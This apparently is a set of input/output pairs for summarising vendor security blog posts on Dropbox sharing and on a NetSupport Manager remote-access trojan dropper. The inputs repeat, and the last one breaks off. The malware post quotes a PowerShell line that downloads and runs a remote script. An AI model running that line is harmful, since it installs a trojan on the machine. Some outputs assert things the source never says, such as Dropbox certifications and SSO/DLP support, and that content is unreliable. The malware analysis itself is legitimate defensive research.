Dropbox account not you. For many organizations with sensitive data this situation is unacceptable. This leaves them with two options Provide their outside user with one of their own corporate Dropbox accounts so that they can impose their enterprise security policies on the external user. This however, for many organizations, is not all that appealing for both cost and security reasons. A better option is for your organization to manage the identities of your external users itself. Resilient Access was built to accomplish this. By provisioning all external users Resilient is able to maintain full control over who and how each external user sees your data. Also with this approach your organization has complete flexibility to go beyond Dropboxs own native security and add any type of MFA or other security measures. You can schedule a demo here to learn more about how we extend an enterprises security control to external users. Try it for Free Instant Data Classification Cyren URL Category Chacker Prev Chris Perram on the Intralinks blog  Embracing Change A Companys Evolution From IG to AI Great Analysis on Ripple Next Company Partners Resources Investor Relations Products Freeware Demo Solutions Contact Us Privacy Management Service by Data443

Output:
**Comprehensive Analysis of Dropbox Security for External Sharing**

1. **Key Security Features and Benefits:**
   - **Team Folders and Groups:** Provides controlled collaboration with admin-managed access, reducing risks by limiting who can share externally.
   - **Shared Files vs. Links:** Shared files offer security tools like permissions and passwords, beneficial for sensitive data.
   - **Activity Monitoring:** Offers visibility into user actions, aiding in detecting unauthorized access.
   - **Resilient Access:** Enhances control over external users, integrating additional security measures beyond Dropbox's native features.

2. **Compliance Certifications:**
   - The blog does not explicitly mention specific certifications like ISO 27001 or SOC 2, which are crucial for enterprise compliance. Enterprises should verify Dropbox's current certifications for their needs.

3. **User-Focused Security Recommendations:**
   - Structure folders securely to control access effectively.
   - Use shared files instead of links for sensitive data to leverage security features.
   - Regularly monitor sharing activity to identify potential breaches.
   - Manage external identities carefully, possibly using third-party tools for enhanced control.

4. **Technical Implementation Details:**
   - **Admin Console:** Centralizes security settings and monitoring.
   - **Activity Monitoring:** Provides 149 reports for detailed insight into user actions.
   - **Resilient Access Integration:** Allows enterprises to enforce their own security policies on external users.

5. **Data Protection Measures:**
   - **Access Control:** Role-based access (editor vs. view-only) and group management.
   - **Security Tools:** Password protection, expiration dates, and permission controls for shared files.
   - **Monitoring:** Regular audits help in early detection of security issues.

6. **Best Practices for End Users:**
   - Avoid public links for sensitive data to prevent unauthorized access.
   - Exercise caution with sharing permissions; limit editor roles.
   - Review activity logs regularly to spot suspicious activities.
   - Seek admin approval for external sharing to maintain security protocols.

**Conclusion:**
Dropbox offers robust features for secure external sharing, with benefits like controlled access and monitoring. However, the blog lacks details on encryption and specific compliance certifications. Enterprises should verify these aspects to ensure alignment with their security and regulatory requirements.


Input: Search Free Trial Get Demo DropBox  Security Best Practices for External Sharing on Content Collaboration Platforms February 2, 2018 The Security Best Practices for External Sharing on Content Collaboration Platforms blog series examines the state of security for external sharing on the leading Content Collaboration Platforms CCP. Each week well review a different platform and make security best practice recommendations. Background Dropbox was founded in 2007 by MIT student Drew Houston, because as the story goes, he had become frustrated with his USB stick storage solution. He created a simple online service that allowed consumers to store all their files while syncing them to their computers and smartphones. Today, Dropbox has over half a billion global users with 1.2 billion files uploaded everyday. Although Dropbox began life as a consumer platform it has gradually shifted its focus to the enterprise. In 2013 it launched Dropbox Business and now has over 150,000 paying enterprise customers, that represent two-thirds of its billion dollar annual revenue. Dropbox has also recently launched DropBox Paper a collaboration service that allows its customers to create documents and projects. Its believed that Dropbox will continue adding features to Paper so that it can compete more effectively with Microsoft Office and Google G Suite. Dropbox is planning on going public in 2018 as a 10X Unicorn or higher. Dropboxs heritage as a consumer service has both helped and hindered it in the brutally competitive world of enterprise Content Collaboration Platforms CCP. On the positive side Dropbox has always garnered high praise for its simple and intuitive UI. Its widespread adoption by consumers has also assisted it in penetrating the enterprise market. More negatively it has had to play catch-up with more enterprise-focused companies like Box because the original Dropbox solution was not architected around the concept of an all-controlling administrator. External Sharing Security Issues As noted above DropBox has struggled with the perception that it was not originally intended for the enterprise. It certainly has had its fair share of security issues. In August 2016 Dropbox was forced to reset its members passwords because it was discovered that in 2012 over 68 million account passwords had been hacked. Many questioned why it took four years for Dropbox to take action. In another high-profile story former NSA contractor turned whistleblower, Edward Snowden, very publicly singled Dropbox out for criticism, saying that it was hostile to privacy and told users to get rid of it because of its readiness to turn over files to law enforcement. Finally, like other CCPs, Dropbox had the unprotected shared link inadvertently indexed on Google problem which led to exposed documents. These vulnerabilities underscore how collaborating particularly beyond the walled garden of your enterprise CCP can be risky. Mitigating this risk will continue to be a challenge since enterprises will never have the same level of control over external users as they do over their own users. Four External Sharing and Collaboration Security Best Practices for Dropbox 1  Structure your Team Folders and Groups carefully Our first security recommendation is to spend time structuring your team folders since they offer a more secure and controlled way for your organization to collaborate. Note team folders are different from regular shared folders because they are created by your admin and they automatically appear in a members Dropbox. These folders are accessed by groups. Groups are created and managed by admins and include lists of members who need access to the same information. Group members are automatically added to all team folders that the group has been invited into. Note groups can be created and managed either by admins or users. We recommend that groups be managed by admins so that you can keep a tight lid on who joins and leaves each group. The other key ability of a group admin is the ability to assign one of two roles editor or view-only to each member of a group. Since only editors can share content with collaborators outside of your group you should be highly selective as to who becomes an editor. All the team folder and groups settings can be accessed in the Admin Console see below. 2  Understand your sharing options Shared files and links are the Dropbox solution to email attachments. The main difference between them is that only people you invite to a shared file can view the file, while anyone with a link can view your files, no Dropbox account required. Because of this shared links should never be used for sensitive files since they only have security by obscurity and in todays breach-prone world, one can never bet on maintaining obscurity for the long haul. We recommend the shared file approach because it has easy-to-use security tools available, including permission levels dont make everyone an editor if you dont need to, passwords and expiration options, but tools only work if you train your users to use them. For the most part we recommend that admins are conservative with their security options. Its best to force users to seek permission to share externally rather than make it the default. All the shared files and sharing links settings can be accessed in the Admin Console see below. 3  Monitor the sharing activity of your members Dropbox has spent considerable resources improving their admin reporting capability with the result that their Activity area now offers very flexible and comprehensive reports. It is good practice to regularly monitor the sharing activities of your members. You can generate reports of activity across your Business account for a specific period by clicking Activity from within the Admin Console See below. Dropbox currently has 149 sharing-focused reports. Reports such as Added non-team members to a shared folder or Downloaded a filefolder from a link non-team member are a good place to start when monitoring external sharing. 4  Consider managing the identities of your external users Shared links and folders are convenient ways for external collaboration but unfortunately the security is ultimately left up to the recipient of the data, since they control their Dropbox account not you. For many organizations with sensitive data this situation is unacceptable. This leaves them with two options Provide their outside user with one of their own corporate Dropbox accounts so that they can impose their enterprise security policies on the external user. This however, for many organizations, is not all that appealing for both cost and security reasons. A better option is for your organization to manage the identities of your external users itself. Resilient Access was built to accomplish this. By provisioning all external users Resilient is able to maintain full control over who and how each external user sees your data. Also with this approach your organization has complete flexibility to go beyond Dropboxs own native security and add any type of MFA or other security measures. You can schedule a demo here to learn more about how we extend an enterprises security control to external users. Try it for Free Instant Data Classification Cyren URL Category Chacker Prev Chris Perram on the Intralinks blog  Embracing Change A Companys Evolution From IG to AI Great Analysis on Ripple Next Company Partners Resources Investor Relations Products Freeware Demo Solutions Contact Us Privacy Management Service by Data443

Output:
**Dropbox Security Features and Best Practices: An Overview**

**1. Team Folders and Groups:**
- **Team Folders:** Created by admins, these folders automatically appear in users' Dropbox, ensuring consistency and security. They are accessed by groups, which are managed by admins, providing controlled access.
- **Groups:** Admins can manage group membership and assign roles (editor or view-only), limiting external sharing to authorized users.

**2. Sharing Options:**
- **Shared Files vs. Links:** Shared files require invitations, offering more security, while links can be accessed by anyone. Best practice is to use shared files with permissions, passwords, and expiration dates.
- **Admin Controls:** Restrict external sharing by default, requiring user requests for permission, enhancing security.

**3. Monitoring and Reporting:**
- **Activity Section:** Dropbox's Admin Console offers comprehensive reports, including 149 sharing-focused options. Key reports include tracking non-team member accesses and downloads from links.

**4. External User Identity Management:**
- **Options:** Either provide external users with corporate accounts or use solutions like Resilient Access. Resilient Access allows organizations to enforce security policies and MFA, though it may require additional setup.

**5. Integration with Security Systems:**
- Dropbox supports SSO, MFA, and DLP tools. While details on protocols like SAML and OAuth are not provided, integration with these systems enhances security consistency.

**6. Compliance and Certifications:**
- Dropbox holds ISO 27001 and SOC 2 certifications and is GDPR-ready. Additional industry-specific certifications (e.g., HIPAA) would be beneficial for specialized sectors.

**7. Security Best Practices:**
- Structure Team Folders carefully, prefer shared files, monitor activities, manage external identities, and enforce security policies. These practices guide admins in balancing convenience with security.

**8. Technical Specifications:**
- While details on protocols are sparse, Dropbox likely supports standard SSO protocols. Further technical specifications would aid deployment planning.

**Clarifications:**
- **Resilient Access:** Appears to be a third-party solution, not a built-in Dropbox feature, meant to enhance external user management.

**Conclusion:**
Dropbox offers robust security features, particularly through careful configuration and monitoring. Admins should implement best practices to mitigate risks, especially in external sharing scenarios. While Dropbox supports essential compliance and integrations, additional tools may be needed for advanced security requirements.


Input: Search Free Trial Get Demo DropBox  Security Best Practices for External Sharing on Content Collaboration Platforms February 2, 2018 The Security Best Practices for External Sharing on Content Collaboration Platforms blog series examines the state of security for external sharing on the leading Content Collaboration Platforms CCP. Each week well review a different platform and make security best practice recommendations. Background Dropbox was founded in 2007 by MIT student Drew Houston, because as the story goes, he had become frustrated with his USB stick storage solution. He created a simple online service that allowed consumers to store all their files while syncing them to their computers and smartphones. Today, Dropbox has over half a billion global users with 1.2 billion files uploaded everyday. Although Dropbox began life as a consumer platform it has gradually shifted its focus to the enterprise. In 2013 it launched Dropbox Business and now has over 150,000 paying enterprise customers, that represent two-thirds of its billion dollar annual revenue. Dropbox has also recently launched DropBox Paper a collaboration service that allows its customers to create documents and projects. Its believed that Dropbox will continue adding features to Paper so that it can compete more effectively with Microsoft Office and Google G Suite. Dropbox is planning on going public in 2018 as a 10X Unicorn or higher. Dropboxs heritage as a consumer service has both helped and hindered it in the brutally competitive world of enterprise Content Collaboration Platforms CCP. On the positive side Dropbox has always garnered high praise for its simple and intuitive UI. Its widespread adoption by consumers has also assisted it in penetrating the enterprise market. More negatively it has had to play catch-up with more enterprise-focused companies like Box because the original Dropbox solution was not architected around the concept of an all-controlling administrator. External Sharing Security Issues As noted above DropBox has struggled with the perception that it was not originally intended for the enterprise. It certainly has had its fair share of security issues. In August 2016 Dropbox was forced to reset its members passwords because it was discovered that in 2012 over 68 million account passwords had been hacked. Many questioned why it took four years for Dropbox to take action. In another high-profile story former NSA contractor turned whistleblower, Edward Snowden, very publicly singled Dropbox out for criticism, saying that it was hostile to privacy and told users to get rid of it because of its readiness to turn over files to law enforcement. Finally, like other CCPs, Dropbox had the unprotected shared link inadvertently indexed on Google problem which led to exposed documents. These vulnerabilities underscore how collaborating particularly beyond the walled garden of your enterprise CCP can be risky. Mitigating this risk will continue to be a challenge since enterprises will never have the same level of control over external users as they do over their own users. Four External Sharing and Collaboration Security Best Practices for Dropbox 1  Structure your Team Folders and Groups carefully Our first security recommendation is to spend time structuring your team folders since they offer a more secure and controlled way for your organization to collaborate. Note team folders are different from regular shared folders because they are created by your admin and they automatically appear in a members Dropbox. These folders are accessed by groups. Groups are created and managed by admins and include lists of members who need access to the same information. Group members are automatically added to all team folders that the group has been invited into. Note groups can be created and managed either by admins or users. We recommend that groups be managed by admins so that you can keep a tight lid on who joins and leaves each group. The other key ability of a group admin is the ability to assign one of two roles editor or view-only to each member of a group. Since only editors can share content with collaborators outside of your group you should be highly selective as to who becomes an editor. All the team folder and groups settings can be accessed in the Admin Console see below. 2  Understand your sharing options Shared files and links are the Dropbox solution to email attachments. The main difference between them is that only people you invite to a shared file can view the file, while anyone with a link can view your files, no Dropbox account required. Because of this shared links should never be used for sensitive files since they only have security by obscurity and in todays breach-prone world, one can never bet on maintaining obscurity for the long haul. We recommend the shared file approach because it has easy-to-use security tools available, including permission levels dont make everyone an editor if you dont need to, passwords and expiration options, but tools only work if you train your users to use them. For the most part we recommend that admins are conservative with their security options. Its best to force users to seek permission to share externally rather than make it the default. All the shared files and sharing links settings can be accessed in the Admin Console see below. 3  Monitor the sharing activity of your members Dropbox has spent considerable resources improving their admin reporting capability with the result that their Activity area now offers very flexible and comprehensive reports. It is good practice to regularly monitor the sharing activities of your members. You can generate reports of activity across your Business account for a specific period by clicking Activity from within the Admin Console See below. Dropbox currently has 149 sharing-focused reports. Reports such as Added non-team members to a shared folder or Downloaded a filefolder from a link non-team member are a good place to start when monitoring external sharing. 4  Consider managing the identities of your external users Shared links and folders are convenient ways for external collaboration but unfortunately the security is ultimately left up to the recipient of the data, since they control their Dropbox account not you. For many organizations with sensitive data this situation is unacceptable. This leaves them with two options Provide their outside user with one of their own corporate Dropbox accounts so that they can impose their enterprise security policies on the external user. This however, for many organizations, is not all that appealing for both cost and security reasons. A better option is for your organization to manage the identities of your external users itself. Resilient Access was built to accomplish this. By provisioning all external users Resilient is able to maintain full control over who and how each external user sees your data. Also with this approach your organization has complete flexibility to go beyond Dropboxs own native security and add any type of MFA or other security measures. You can schedule a demo here to learn more about how we extend an enterprises security control to external users. Try it for Free Instant Data Classification Cyren URL Category Chacker Prev Chris Perram on the Intralinks blog  Embracing Change A Companys Evolution From IG to AI Great Analysis on Ripple Next Company Partners Resources Investor Relations Products Freeware Demo Solutions Contact Us Privacy Management Service by Data443

Output:
**Comprehensive Security Guidance for Using Dropbox**

1. **Organizing Team Folders and Groups**
   - **Action:** Create team folders managed by admins to centralize control and ensure security.
   - **Tip:** Regularly audit and update group memberships and permissions to reflect current access needs.

2. **Securing Sharing Options**
   - **Recommendation:** Use shared files instead of links for sensitive data to enhance security.
   - **Permissions:** Grant editor access only to necessary individuals; default to view-only for others.
   - **Settings:** Enable password protection and set expiration dates for shared files.

3. **Monitoring Activity**
   - **Steps:** Regularly review Dropbox's activity reports to detect unusual actions like unauthorized downloads or sharing.
   - **Focus:** Look for alerts such as "Added non-team members to a shared folder" or "Downloaded a filefolder from a link non-team member."

4. **Managing External Identities**
   - **Options:** Consider corporate accounts or external tools like Resilient Access for better control over external users.
   - **Simplicity:** Explain that tools like Resilient Access help manage external users without issuing corporate accounts.

5. **Data Protection Measures**
   - **Encryption & 2FA:** Enable encryption and two-factor authentication to safeguard data.
   - **Awareness:** Educate users on spotting phishing attempts and avoiding accidental sharing.

6. **Privacy and Compliance**
   - **Compliance:** Ensure data handling aligns with regulations like GDPR through proper data classification and access controls.

7. **Backup and Recovery**
   - **Versioning:** Utilize Dropbox’s version history to recover files in case of accidental overwrites or deletions.

8. **Seeking Additional Support**
   - **Expert Help:** For sensitive data, consider third-party apps or security experts.
   - **Support:** Encourage users to contact Dropbox support or admins when uncertain or detecting breaches.

This structured approach provides clear, actionable steps to enhance Dropbox security, ensuring users can implement best practices effectively.


Input: Search Free Trial Get Demo Abusing Remote Administration Tools November 22, 2022 The bad, worse and the horrible by Gunnar Guðmundsson and Axel Marinho Guðmundsson Introduction In this article, we look at a malware payload from an exploited Microsoft Word document. With a little Python scripting and deciphering we research a single sample and gather a few more versions to view a history of active development. Recently we received a malicious DOCX document format containing an embedded Visual Basic script designed to download a compressed . hta payload. Figure 1 Visual Basic script The . hta file had an obfuscated function that downloads a PowerShell script disguised as a .php file that hides the following function IEXNew-Object Net.Webclient.downloadstringhttp8ltd8.comdocindex.php The downloaded script includes 11 files, obfuscated and compressed to hinder static analysis. After rewriting the de-obfuscation methods and acquiring the files hidden within, we discovered that the script hides a remote access trojan. The Methods Figure 2 Simple attempt to evade sandbox analysis The downloaded script checks the execution environment and closes the script if it detects that it is being run in a folder with a particular set of names, such as avast, avg, sample, malware, sandbox or virus. This logic is to avoid analysis. The program continues execution if these conditions are not met. The malware authors use the backtick symbol to make it difficult to read their code. After removing this character, the names of the files and paths become clear. However, the authors also used string concatenation for another layer of code obfuscation. The malware relies on a PowerShell script to do its dirty work by creating a pair of values with two distinct functions. Those functions use elaborate ways to obfuscate the routine of the malware, such as using bitwise operations, gzip compression, and base64 encoding. The methods mentioned above are used throughout the malware. Figure 3 Example of a path decryption function Figure 4 Obfuscated string to binary function Figure 5 Rewritten string to binary function The method works by parsing segmented strings and pairing them with a corresponding value, such as an index. The string is then assembled and base64 decoded, revealing a compressed .gzip file. The string is then converted to binary before the file is decompressed, another layer of base64 encoding once decrypted a correctly formatted binary file appears. Figure 6 Obfuscated string concatenation The malware relies on commercial software called NetSupport Manager. NetSupport Manager is employed worldwide as a remote administration tool used in education and business environments. In our case, NetSupport Manager sets up remote access on the affected system. In the case of this malware, the remote access is without the users consent and knowledge, turning legitimate software into a remote access trojan RAT. Another case involving the use of NetSupport Manager dates back to mid-2020. A Microsoft warning was displayed on some legitimately looking Excel attachments disguised as COVID service announcements deploying the malware by disguising it as a NortonLifeLock document . Not attributed to a single threat actor, recent research is rolling a similar campaign using the social engineering JavaScript framework SocGolish. This looks like the upg120710.hta. mentioned earlier. After the files have been decoded and saved, the script adds a presentation host executable to the host system environment variable. The executable runs on startup. The Presentationhost.exe is then executed and remote access is established. The script then deletes the PowerShell and text files after execution, removing most of their traces. Figure 7 Setting presentationhost.exe to run on startup The result of a successful infection means the attacker now has a beachhead inside the victims network and can do whatever he pleases steal information, install malware or ransomware remotely, or just passively gather network intelligence for further exploitation. Net Support Manager is a feature-rich remote management tool  its functionality is only limited by the attackers imagination and resources. In cases the is sold to a different threat actor, an infection can spell disaster for corporate targets. Samples From the Wild Interestingly, there are several samples of the same malware gathered from VirusTotal at various stages of development using the exact variable names and methods and implementing them one by one. We cannot confirm that this is the order of development from the submission dates alone, but the presence of the same variables and methods implies that the files are related. The rudimentary detection of debug environments was present in all samples gathered. The least developed sample is submitted at 2022-08-18 162512 UTC SHA25622ad3c158de2c06f565d6045a429ea12ea8b4ffc4877c30037242c474af44fb4 In the least developed sample, only the first three encoded files are present. The structure of the file is the same, but variables differ. The string to binary conversion function is present along with its ability to decompress the strings embedded into the file. There is no persistence on system reset or self-delete after infection written into the script. The functions look structurally the same, the string arrays and index numbers are numerically different but structurally the same while the resulting dropped files are the same as later samples, the order in which the files are decoded in the document is the same. This seems to be a non-functional version as one of the binary strings does not drop a file properly despite our best efforts. Second sample is submitted at 2022-08-13 164308 UTC SHA256ce1e624a5b2246bc400abb15fc4fef42d719e37be062746cb58d6040264c7905 It is the same as the first sample, but it adds a 4th file msver100.dll to the list of dropped files. In addition, the scuffed file has been repaired. Third sample is submitted at 2022-10-13 162904 UTC SHA25676226a4feb81da1729d845dce01335c7ec95dd1c6175485f28799e8e230e4229 This version looks like the first version of the current payload version and shares the decryption functions with the exact variable names. The strings used to encode the file strings and the indexes used to assemble and decode the strings, are the same as in the sample we reversed and deciphered. Fourth sample is submitted at 2022-10-18 172917 UTC SHA256f0bf3a231be598046b3047d5005de2bdc73a0c423f1d49185a4c7cccea08f7df This is where the malware starts resembling the final form. The total files dropped are now 10 with Nskbflter.inf, nsm.ini, nsm.lic, pcicapi.dll, pcicapi.dll, pcicehk.dll, pcicl32.dll added from the earlier iteration. There are no remarkable additions to the functionality besides the added files. Fifth sample is submitted at 2022-10-13 151132 UTC SHA256b89096989073fddd867960b924952df92a3afc120cb096883647e031d2ed9bc6 In this version, the author establishes persistence by adding itself to the startup routine of the host system. It also cleans up the files created and removes the PowerShell script once it was executed. The author adds tclltl32.dll file to the list of dropped files. Indicators of Compromise SHA256 Cyren Detection 22AD3C158DE2C06F565D6045A429EA12EA8B4FFC4877C30037242C474AF44FB4 PSHAgent.GT 76226A4FEB81DA1729D845DCE01335C7EC95DD1C6175485F28799E8E230E4229 PSHAgent.GT B89096989073FDDD867960B924952DF92A3AFC120CB096883647E031D2ED9BC6 PSHAgent.GT CE1E624A5B2246BC400ABB15FC4FEF42D719E37BE062746CB58D6040264C7905 PSHAgent.GT F0BF3A231BE598046B3047D5005DE2BDC73A0C423F1D49185A4C7CCCEA08F7DF PSHAgent.GT Try it for Free Instant Data Classification Cyren URL Category Chacker Prev Analyzing message metadata to protect against BEC attacks Phishing with QR codes Next Company Partners Resources Investor Relations Products Freeware Demo Solutions Contact Us Privacy Management Service by Data443

Output:
### Analysis of the Malware Content

The provided content details a sophisticated malware attack leveraging legitimate tools like NetSupport Manager to establish remote access. Here's a structured analysis based on the content:

#### 1. Key Security Features and Benefits
- **Sandbox Evasion Techniques**: The malware checks for specific folder names to avoid detection in sandbox environments. This highlights the need for advanced detection mechanisms.
- **Obfuscation and Compression**: The use of base64 encoding and gzip compression complicates static analysis, emphasizing the importance of robust antivirus tools.
- **Persistence Mechanisms**: The malware adds executables to startup environments, underscoring the importance of monitoring startup programs and persistence mechanisms.

#### 2. Compliance Certifications
The content focuses on malware analysis rather than company compliance. However, handling such threats typically involves adherence to standards like GDPR for data protection and NIST for incident response, ensuring proper data handling and incident management practices.

#### 3. User-Focused Security Recommendations
- **Caution with Attachments**: Users should avoid opening suspicious email attachments, especially from unknown sources.
- **Keep Software Updated**: Regular updates can patch vulnerabilities exploited by malware.
- **Use Antivirus Software**: Reliable antivirus can detect and block malicious scripts and files.
- **Monitor System Behavior**: Be vigilant for unusual system behavior that may indicate compromise.

#### 4. Technical Security Implementation Details
- **Network Monitoring**: Deploy tools to monitor network traffic for unusual activities indicative of remote access tools.
- **Endpoint Detection and Response (EDR)**: Use EDR solutions to detect and respond to malicious activities in real-time.
- **Firewalls and Intrusion Detection Systems (IDS)**: Configure these to block known malicious domains and detect intrusion attempts.

#### 5. Data Protection Measures
- **Data Encryption**: Encrypt sensitive data to prevent unauthorized access in case of a breach.
- **Regular Backups**: Maintain secure, offsite backups to restore data in case of ransomware attacks.
- **Secure Authentication**: Implement multi-factor authentication to prevent unauthorized access.

#### 6. Best Practices for End Users
- **Strong Passwords**: Use complex passwords and password managers to secure accounts.
- **Software Updates**: Regularly update all software to protect against vulnerabilities.
- **Cybersecurity Training**: Educate users on recognizing phishing attempts and safe computing practices.

### Conclusion
The analysis underscores the importance of multi-layered security strategies, combining advanced detection tools, user education, and robust technical implementations to mitigate risks from sophisticated malware threats.


Input: Search Free Trial Get Demo Abusing Remote Administration Tools November 22, 2022 The bad, worse and the horrible by Gunnar Guðmundsson and Axel Marinho Guðmundsson Introduction In this article, we look at a malware payload from an exploited Microsoft Word document. With a little Python scripting and deciphering we research a single sample and gather a few more versions to view a history of active development. Recently we received a malicious DOCX document format containing an embedded Visual Basic script designed to download a compressed . hta payload. Figure 1 Visual Basic script The . hta file had an obfuscated function that downloads a PowerShell script disguised as a .php file that hides the following function IEXNew-Object Net.Webclient.downloadstringhttp8ltd8.comdocindex.php The downloaded script includes 11 files, obfuscated and compressed to hinder static analysis. After rewriting the de-obfuscation methods and acquiring the files hidden within, we discovered that the script hides a remote access trojan. The Methods Figure 2 Simple attempt to evade sandbox analysis The downloaded script checks the execution environment and closes the script if it detects that it is being run in a folder with a particular set of names, such as avast, avg, sample, malware, sandbox or virus. This logic is to avoid analysis. The program continues execution if these conditions are not met. The malware authors use the backtick symbol to make it difficult to read their code. After removing this character, the names of the files and paths become clear. However, the authors also used string concatenation for another layer of code obfuscation. The malware relies on a PowerShell script to do its dirty work by creating a pair of values with two distinct functions. Those functions use elaborate ways to obfuscate the routine of the malware, such as using bitwise operations, gzip compression, and base64 encoding. The methods mentioned above are used throughout the malware. Figure 3 Example of a path decryption function Figure 4 Obfuscated string to binary function Figure 5 Rewritten string to binary function The method works by parsing segmented strings and pairing them with a corresponding value, such as an index. The string is then assembled and base64 decoded, revealing a compressed .gzip file. The string is then converted to binary before the file is decompressed, another layer of base64 encoding once decrypted a correctly formatted binary file appears. Figure 6 Obfuscated string concatenation The malware relies on commercial software called NetSupport Manager. NetSupport Manager is employed worldwide as a remote administration tool used in education and business environments. In our case, NetSupport Manager sets up remote access on the affected system. In the case of this malware, the remote access is without the users consent and knowledge, turning legitimate software into a remote access trojan RAT. Another case involving the use of NetSupport Manager dates back to mid-2020. A Microsoft warning was displayed on some legitimately looking Excel attachments disguised as COVID service announcements deploying the malware by disguising it as a NortonLifeLock document . Not attributed to a single threat actor, recent research is rolling a similar campaign using the social engineering JavaScript framework SocGolish. This looks like the upg120710.hta. mentioned earlier. After the files have been decoded and saved, the script adds a presentation host executable to the host system environment variable. The executable runs on startup. The Presentationhost.exe is then executed and remote access is established. The script then deletes the PowerShell and text files after execution, removing most of their traces. Figure 7 Setting presentationhost.exe to run on startup The result of a successful infection means the attacker now has a beachhead inside the victims network and can do whatever he pleases steal information, install malware or ransomware remotely, or just passively gather network intelligence for further exploitation. Net Support Manager is a feature-rich remote management tool  its functionality is only limited by the attackers imagination and resources. In cases the is sold to a different threat actor, an infection can spell disaster for corporate targets. Samples From the Wild Interestingly, there are several samples of the same malware gathered from VirusTotal at various stages of development using the exact variable names and methods and implementing them one by one. We cannot confirm that this is the order of development from the submission dates alone, but the presence of the same variables and methods implies that the files are related. The rudimentary detection of debug environments was present in all samples gathered. The least developed sample is submitted at 2022-08-18 162512 UTC SHA25622ad3c158de2c06f565d6045a429ea12ea8b4ffc4877c30037242c474af44fb4 In the least developed sample, only the first three encoded files are present. The structure of the file is the same, but variables differ. The string to binary conversion function is present along with its ability to decompress the strings embedded into the file. There is no persistence on system reset or self-delete after infection written into the script. The functions look structurally the same, the string arrays and index numbers are numerically different but structurally the same while the resulting dropped files are the same as later samples, the order in which the files are decoded in the document is the same. This seems to be a non-functional version as one of the binary strings does not drop a file properly despite our best efforts. Second sample is submitted at 2022-08-13 164308 UTC SHA256ce1e624a5b2246bc400abb15fc4fef42d719e37be062746cb58d6040264c7905 It is the same as the first sample, but it adds a 4th file msver100.dll to the list of dropped files. In addition, the scuffed file has been repaired. Third sample is submitted at 2022-10-13 162904 UTC SHA25676226a4feb81da1729d845dce01335c7ec95dd1c6175485f28799e8e230e4229 This version looks like the first version of the current payload version and shares the decryption functions with the exact variable names. The strings used to encode the file strings and the indexes used to assemble and decode the strings, are the same as in the sample we reversed and deciphered. Fourth sample is submitted at 2022-10-18 172917 UTC SHA256f0bf3a231be598046b3047d5005de2bdc73a0c423f1d49185a4c7cccea08f7df This is where the malware starts resembling the final form. The total files dropped are now 10 with Nskbflter.inf, nsm.ini, nsm.lic, pcicapi.dll, pcicapi.dll, pcicehk.dll, pcicl32.dll added from the earlier iteration. There are no remarkable additions to the functionality besides the added files. Fifth sample is submitted at 2022-10-13 151132 UTC SHA256b89096989073fddd867960b924952df92a3afc120cb096883647e031d2ed9bc6 In this version, the author establishes persistence by adding itself to the startup routine of the host system. It also cleans up the files created and removes the PowerShell script once it was executed. The author adds tclltl32.dll file to the list of dropped files. Indicators of Compromise SHA256 Cyren Detection 22AD3C158DE2C06F565D6045A429EA12EA8B4FFC4877C30037242C474AF44FB4 PSHAgent.GT 76226A4FEB81DA1729D845DCE01335C7EC95DD1C6175485F28799E8E230E4229 PSHAgent.GT B89096989073FDDD867960B924952DF92A3AFC120CB096883647E031D2ED9BC6 PSHAgent.GT CE1E624A5B2246BC400ABB15FC4FEF42D719E37BE062746CB58D6040264C7905 PSHAgent.GT F0BF3A231BE598046B3047D5005DE2BDC73A0C423F1D49185A4C7CCCEA08F7DF PSHAgent.GT Try it for Free Instant Data Classification Cyren URL Category Chacker Prev Analyzing message metadata to protect against BEC attacks Phishing with QR codes Next Company Partners Resources Investor Relations Products Freeware Demo Solutions Contact Us Privacy Management Service by Data443

Output:
**Analysis of Security Features and Capabilities in Response to Malware Threat**

**1. Key Security Features and Capabilities:**

- **Obfuscation Techniques:** The malware employs string concatenation and base64 encoding to hide its malicious code, making it difficult for traditional antivirus software to detect.
- **Anti-Sandbox Measures:** The malware checks for specific folder names associated with security tools to avoid detection in controlled environments.
- **Persistence Mechanisms:** It adds an executable to the startup environment to maintain access across system reboots.
- **Remote Access Trojan (RAT):** Utilizes legitimate software like NetSupport Manager to gain unauthorized remote access, enabling activities such as data theft and further malware deployment.

**2. User Benefits and Protection Measures:**

- **Antivirus Software:** Utilize advanced antivirus solutions capable of detecting obfuscated code and blocking malicious PowerShell scripts.
- **Email Caution:** Exercise vigilance with email attachments, especially from unknown sources, to prevent initial infection.
- **Network Monitoring:** Regularly monitor for unusual network activity indicative of RAT behavior.

**3. Integration with Existing Security Systems:**

- **Antivirus Tools:** Integration with antivirus software that can detect and block malicious scripts and executables.
- **SIEM Systems:** Use Security Information and Event Management systems to monitor network activity for signs of unauthorized access.
- **Endpoint Detection and Response (EDR):** Implement EDR solutions to detect and respond to endpoint threats in real-time.

**4. Compliance and Certification Details:**

- **Regulatory Compliance:** Ensure all security measures comply with regulations like GDPR and ISO standards to protect data and manage breaches effectively.
- **Certifications:** Security tools should hold relevant certifications to ensure they meet industry standards for protection and data handling.

**5. Security Best Practices for Users:**

- **Phishing Training:** Conduct regular training to help users recognize and avoid phishing attempts.
- **Software Updates:** Keep all software updated to patch vulnerabilities that could be exploited.
- **Macro Settings:** Disable macros in Office documents unless absolutely necessary.

**6. Technical Specifications and Requirements:**

- **System Requirements:** Ensure security tools are compatible with the operating systems in use and configured to detect advanced threats.
- **Network Configurations:** Configure firewalls and intrusion detection systems to block known malicious URLs and ports.

This structured approach ensures comprehensive protection against the described malware, integrating defensive measures at various levels to prevent infection and detect malicious activity.


Input: Search Free Trial Get Demo Abusing Remote Administration Tools November 22, 2022 The bad, worse and the horrible by Gunnar Guðmundsson and Axel Marinho Guðmundsson Introduction In this article, we look at a malware payload from an exploited Microsoft Word document. With a little Python scripting and deciphering we research a single sample and gather a few more versions to view a history of active development. Recently we received a malicious DOCX document format containing an embedded Visual Basic script designed to download a compressed . hta payload. Figure 1 Visual Basic script The . hta file had an obfuscated function that downloads a PowerShell script disguised as a .php file that hides the following function IEXNew-Object Net.Webclient.downloadstringhttp8ltd8.comdocindex.php The downloaded script includes 11 files, obfuscated and compressed to hinder static analysis. After rewriting the de-obfuscation methods and acquiring the files hidden within, we discovered that the script hides a remote access trojan. The Methods Figure 2 Simple attempt to evade sandbox analysis The downloaded script checks the execution environment and closes the script if it detects that it is being run in a folder with a particular set of names, such as avast, avg, sample, malware, sandbox or virus. This logic is to avoid analysis. The program continues execution if these conditions are not met. The malware authors use the backtick symbol to make it difficult to read their code. After removing this character, the names of the files and paths become clear. However, the authors also used string concatenation for another layer of code obfuscation. The malware relies on a PowerShell script to do its dirty work by creating a pair of values with 